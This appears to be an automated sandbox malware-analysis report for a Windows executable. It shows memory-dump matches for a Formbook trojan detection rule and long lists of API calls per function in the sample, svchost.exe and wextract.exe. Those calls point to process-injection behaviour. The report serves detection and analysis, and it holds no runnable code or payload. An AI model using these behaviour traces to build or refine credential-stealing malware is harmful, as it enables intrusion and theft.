            Source: 00000002.00000002.1910782362.0000000002F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000D.00000002.2505420589.0000000004950000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000D.00000002.2505519891.00000000049A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1910510903.0000000000690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 0000000C.00000002.2505688280.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1911128401.0000000003550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0046A07E PostMessageW,GetFocus,GetDlgCtrlID,PostMessageW,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,0_2_0046A07E
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004710F1 NtdllDialogWndProc_W,6FDEC580,6FDEC6F0,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,0_2_004710F1
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045034C GetParent,NtdllDialogWndProc_W,0_2_0045034C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044036A NtdllDialogWndProc_W,0_2_0044036A
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00440306 NtdllDialogWndProc_W,0_2_00440306
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047132F NtdllDialogWndProc_W,0_2_0047132F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00440338 NtdllDialogWndProc_W,0_2_00440338
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0046A38E NtdllDialogWndProc_W,NtdllDialogWndProc_W,0_2_0046A38E
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045039B GetParent,NtdllDialogWndProc_W,NtdllDialogWndProc_W,NtdllDialogWndProc_W,0_2_0045039B
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004404E8 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,0_2_004404E8
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044048E NtdllDialogWndProc_W,0_2_0044048E
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044786A NtdllDialogWndProc_W,0_2_0044786A
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047C81C SendMessageW,NtdllDialogWndProc_W,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,742845F0,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,742845F0,0_2_0047C81C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004478AC GetCursorPos,TrackPopupMenuEx,NtdllDialogWndProc_W,GetCursorPos,TrackPopupMenuEx,0_2_004478AC
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004479A0 GetClientRect,GetCursorPos,ScreenToClient,WindowFromPoint,NtdllDialogWndProc_W,0_2_004479A0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004629B7 NtdllDialogWndProc_W,NtdllDialogWndProc_W,0_2_004629B7
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047EA6F NtdllDialogWndProc_W,0_2_0047EA6F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00447ABC SendMessageW,NtdllDialogWndProc_W,0_2_00447ABC
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00447B4E NtdllDialogWndProc_W,0_2_00447B4E
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00454CFC NtdllDialogWndProc_W,0_2_00454CFC
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00454D4A NtdllDialogWndProc_W,0_2_00454D4A
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0042FDA6 ClientToScreen,6FDEC5D0,NtdllDialogWndProc_W,0_2_0042FDA6
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0042FE05 742845F0,NtdllDialogWndProc_W,0_2_0042FE05
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00470E96 DragQueryPoint,SendMessageW,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,0_2_00470E96
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006BC003 NtClose,2_2_006BC003
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272B60 NtClose,LdrInitializeThunk,2_2_03272B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_03272DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032735C0 NtCreateMutant,LdrInitializeThunk,2_2_032735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03274340 NtSetContextThread,2_2_03274340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03274650 NtSuspendThread,2_2_03274650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272BA0 NtEnumerateValueKey,2_2_03272BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272B80 NtQueryInformationFile,2_2_03272B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272BE0 NtQueryValueKey,2_2_03272BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272BF0 NtAllocateVirtualMemory,2_2_03272BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272AB0 NtWaitForSingleObject,2_2_03272AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272AF0 NtWriteFile,2_2_03272AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272AD0 NtReadFile,2_2_03272AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272F30 NtCreateSection,2_2_03272F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272F60 NtCreateProcessEx,2_2_03272F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272FA0 NtQuerySection,2_2_03272FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272FB0 NtResumeThread,2_2_03272FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272F90 NtProtectVirtualMemory,2_2_03272F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272FE0 NtCreateFile,2_2_03272FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272E30 NtWriteVirtualMemory,2_2_03272E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272EA0 NtAdjustPrivilegesToken,2_2_03272EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272E80 NtReadVirtualMemory,2_2_03272E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272EE0 NtQueueApcThread,2_2_03272EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272D30 NtUnmapViewOfSection,2_2_03272D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272D00 NtSetInformationFile,2_2_03272D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272D10 NtMapViewOfSection,2_2_03272D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272DB0 NtEnumerateKey,2_2_03272DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272DD0 NtDelayExecution,2_2_03272DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272C00 NtQueryInformationProcess,2_2_03272C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272C60 NtCreateKey,2_2_03272C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272C70 NtFreeVirtualMemory,2_2_03272C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272CA0 NtQueryInformationToken,2_2_03272CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272CF0 NtOpenProcess,2_2_03272CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03272CC0 NtQueryVirtualMemory,2_2_03272CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03273010 NtOpenDirectoryObject,2_2_03273010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03273090 NtSetValueKey,2_2_03273090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032739B0 NtGetContextThread,2_2_032739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03273D10 NtOpenProcessToken,2_2_03273D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03273D70 NtOpenThread,2_2_03273D70
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D04650 NtSuspendThread,LdrInitializeThunk,13_2_04D04650
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D04340 NtSetContextThread,LdrInitializeThunk,13_2_04D04340
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02CA0 NtQueryInformationToken,LdrInitializeThunk,13_2_04D02CA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02C70 NtFreeVirtualMemory,LdrInitializeThunk,13_2_04D02C70
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02C60 NtCreateKey,LdrInitializeThunk,13_2_04D02C60
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02DD0 NtDelayExecution,LdrInitializeThunk,13_2_04D02DD0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02DF0 NtQuerySystemInformation,LdrInitializeThunk,13_2_04D02DF0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02D10 NtMapViewOfSection,LdrInitializeThunk,13_2_04D02D10
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02D30 NtUnmapViewOfSection,LdrInitializeThunk,13_2_04D02D30
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02EE0 NtQueueApcThread,LdrInitializeThunk,13_2_04D02EE0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02E80 NtReadVirtualMemory,LdrInitializeThunk,13_2_04D02E80
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02FE0 NtCreateFile,LdrInitializeThunk,13_2_04D02FE0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02FB0 NtResumeThread,LdrInitializeThunk,13_2_04D02FB0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02F30 NtCreateSection,LdrInitializeThunk,13_2_04D02F30
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02AD0 NtReadFile,LdrInitializeThunk,13_2_04D02AD0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02AF0 NtWriteFile,LdrInitializeThunk,13_2_04D02AF0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02BF0 NtAllocateVirtualMemory,LdrInitializeThunk,13_2_04D02BF0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02BE0 NtQueryValueKey,LdrInitializeThunk,13_2_04D02BE0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02BA0 NtEnumerateValueKey,LdrInitializeThunk,13_2_04D02BA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02B60 NtClose,LdrInitializeThunk,13_2_04D02B60
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D035C0 NtCreateMutant,LdrInitializeThunk,13_2_04D035C0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D039B0 NtGetContextThread,LdrInitializeThunk,13_2_04D039B0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02CC0 NtQueryVirtualMemory,13_2_04D02CC0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02CF0 NtOpenProcess,13_2_04D02CF0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02C00 NtQueryInformationProcess,13_2_04D02C00
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02DB0 NtEnumerateKey,13_2_04D02DB0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02D00 NtSetInformationFile,13_2_04D02D00
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02EA0 NtAdjustPrivilegesToken,13_2_04D02EA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02E30 NtWriteVirtualMemory,13_2_04D02E30
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02F90 NtProtectVirtualMemory,13_2_04D02F90
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02FA0 NtQuerySection,13_2_04D02FA0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02F60 NtCreateProcessEx,13_2_04D02F60
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02AB0 NtWaitForSingleObject,13_2_04D02AB0
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D02B80 NtQueryInformationFile,13_2_04D02B80
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D03090 NtSetValueKey,13_2_04D03090
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D03010 NtOpenDirectoryObject,13_2_04D03010
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D03D70 NtOpenThread,13_2_04D03D70
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04D03D10 NtOpenProcessToken,13_2_04D03D10
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE8B20 NtCreateFile,13_2_02CE8B20
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE8E20 NtClose,13_2_02CE8E20
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE8F80 NtAllocateVirtualMemory,13_2_02CE8F80
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE8C90 NtReadFile,13_2_02CE8C90
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE8D80 NtDeleteFile,13_2_02CE8D80
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00431BE8
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,74FB5590,74FB7ED0,CreateProcessAsUserW,74FB5030,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,74FB7F30,0_2_00446313
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004333BE
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004096A00_2_004096A0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0042200C0_2_0042200C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0041A2170_2_0041A217
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004122160_2_00412216
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0042435D0_2_0042435D
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004033C00_2_004033C0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044F4300_2_0044F430
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004125E80_2_004125E8
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044663B0_2_0044663B
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004138010_2_00413801
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0042096F0_2_0042096F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004129D00_2_004129D0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004119E30_2_004119E3
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0041C9AE0_2_0041C9AE
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047EA6F0_2_0047EA6F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040FA100_2_0040FA10
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044EB5F0_2_0044EB5F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00423C810_2_00423C81
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00411E780_2_00411E78
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00442E0C0_2_00442E0C
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00420EC00_2_00420EC0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044CF170_2_0044CF17
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00444FD20_2_00444FD2
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_041826400_2_04182640
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A7FA32_2_006A7FA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006910002_2_00691000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0069F8132_2_0069F813
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006911E02_2_006911E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006919E02_2_006919E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006929C02_2_006929C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006919DA2_2_006919DA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A618E2_2_006A618E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A61932_2_006A6193
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006922202_2_00692220
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0069FA332_2_0069FA33
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006922162_2_00692216
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0069DAAB2_2_0069DAAB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0069DAB32_2_0069DAB3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0069DBFB2_2_0069DBFB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006923D02_2_006923D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00692CC02_2_00692CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006BE6232_2_006BE623
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00692F702_2_00692F70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FA3522_2_032FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E3F02_2_0324E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033003E62_2_033003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E02742_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C02C02_2_032C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032301002_2_03230100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DA1182_2_032DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032C81582_2_032C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F41A22_2_032F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033001AA2_2_033001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F81CC2_2_032F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D20002_2_032D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032407702_2_03240770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032647502_2_03264750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323C7C02_2_0323C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325C6E02_2_0325C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032405352_2_03240535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033005912_2_03300591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E44202_2_032E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F24462_2_032F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EE4F62_2_032EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FAB402_2_032FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F6BD72_2_032F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323EA802_2_0323EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032569622_2_03256962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032429A02_2_032429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330A9A62_2_0330A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324A8402_2_0324A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032428402_2_03242840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032268B82_2_032268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326E8F02_2_0326E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03282F282_2_03282F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03260F302_2_03260F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E2F302_2_032E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B4F402_2_032B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032BEFA02_2_032BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324CFE02_2_0324CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03232FC82_2_03232FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FEE262_2_032FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240E592_2_03240E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03252E902_2_03252E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FCE932_2_032FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FEEDB2_2_032FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324AD002_2_0324AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DCD1F2_2_032DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03258DBF2_2_03258DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323ADE02_2_0323ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03240C002_2_03240C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0CB52_2_032E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03230CF22_2_03230CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F132D2_2_032F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322D34C2_2_0322D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0328739A2_2_0328739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032452A02_2_032452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E12ED2_2_032E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325B2C02_2_0325B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327516C2_2_0327516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322F1722_2_0322F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330B16B2_2_0330B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324B1B02_2_0324B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F70E92_2_032F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FF0E02_2_032FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EF0CC2_2_032EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032470C02_2_032470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FF7B02_2_032FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032856302_2_03285630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F16CC2_2_032F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F75712_2_032F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DD5B02_2_032DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_033095C32_2_033095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FF43F2_2_032FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032314602_2_03231460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FFB762_2_032FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325FB802_2_0325FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B5BF02_2_032B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327DBF92_2_0327DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B3A6C2_2_032B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FFA492_2_032FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032F7A462_2_032F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DDAAC2_2_032DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03285AA02_2_03285AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E1AA32_2_032E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EDAC62_2_032EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D59102_2_032D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032499502_2_03249950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325B9502_2_0325B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032AD8002_2_032AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032438E02_2_032438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FFF092_2_032FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FFFB12_2_032FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03241F922_2_03241F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03203FD22_2_03203FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03203FD52_2_03203FD5
